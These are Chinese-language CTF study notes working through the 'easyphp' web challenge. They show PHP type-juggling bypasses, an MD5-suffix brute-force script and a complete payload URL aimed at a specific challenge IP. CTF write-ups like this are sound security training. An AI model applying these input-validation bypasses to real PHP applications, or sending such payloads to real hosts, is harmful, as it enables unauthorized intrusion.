CTF例题

靶场

vulfocus

Web

1 反序列化

攻防世界:unseping,unseping题解

2 easyphp

1.if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3);
# a = 1e8(科学计数法)

2.if(isset($b) && '8b184b' === substr(md5($b),-6,6));
/*
<?php
for($b = 0;$b < 1000000;$b++)
{
echo $b;
echo "<br/>";
if($b && '8b184b' === substr(md5($b),-6,6))
{
break;
}
}
?>
$b = 53724;
*/

3.if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022);
# m = 2044a(作为字符串输入)

4.if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0]));
# n = array(array("1"),0))(array_search实则是比较,字符串和整数比较字符串会转化成整数)

/*
<?php
$origin = json_encode(array("m" => "2044a", "n" => array(array("1"),0)));
echo $origin;
?>
$c = {"m":"2044a","n":[["1"],0]};
*/

// payload:http://61.147.171.105:55516?a=1e8&b=53724&c={"m":"2044a","n":[["1"],0]}